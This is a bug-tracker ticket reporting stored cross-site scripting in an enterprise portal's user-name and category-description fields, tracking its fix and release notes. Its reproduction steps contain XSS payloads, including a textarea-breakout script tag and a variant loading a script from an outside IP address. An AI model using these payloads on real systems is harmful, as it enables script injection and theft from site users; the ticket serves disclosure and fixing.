Hide Forgot
Help Desk Ticket Reference: https://na7.salesforce.com/500A0000006k4Pm project_key: JBEPP A user can place html or javascript as their first or last name causing a viewing user to execute said code. This may happen during user modification or in other actions. Other inputs may be vulnerable as well. To reproduce this on the EPP 5.1 out of box installation: 1) login as root 2) go to "Users and groups management" 3) under "User Management" click the "Edit User Info" icon 4) In the "First Name" or "Last Name" filed type in something like "<script>alert("hello");</script>". 5) click the "Save" button. The javascript is executed and a pop up shows up.
Link: Added: This issue Cloned to GTNPORTAL-1830
Security: Removed: Public Added: RHT+eXo
Link: Added: This issue is related to JBEPP-597
Release Notes Text: Added: Text is escaped and no script is executed.
I've received a new case about a similar issue and I tested it using epp-5.1.1.DEV01. When I type something like "<script>alert("hello");</script>" the script isn't executed. But, when I type something like "Dashboard</textarea><script>alert("Bad XSS");</script>", the script is still executed. Ticket link: https://c.na7.visual.force.com/apex/Case_View?id=500A0000007CtcY&sfdc.override=1
Also tested the value "Dashboard</textarea><script>alert("Bad XSS");</script>" in RH03, the script was executed and "Bad XSS" message was showed. Steps to reproduce: 1. login as root 2. Group -> Administration -> Application Registry 3. Edit Category 4. Type at the "Description" field the following: Dashboard</textarea><script src=\\3.211.64.16\xsrf\a.js> or Dashboard</textarea><script>alert("Bad XSS");</script> 5. Click on Save button.
Reclose the issue. This one was about User form, and the case that reopened it is about category description, I opened a separate Jira: JBEPP-997
Release Notes Docs Status: Added: Not Required Release Notes Text: Removed: Text is escaped and no script is executed. Added: Included in the Release Note for JBEPP-598
Security: Removed: RHT+eXo Added: Public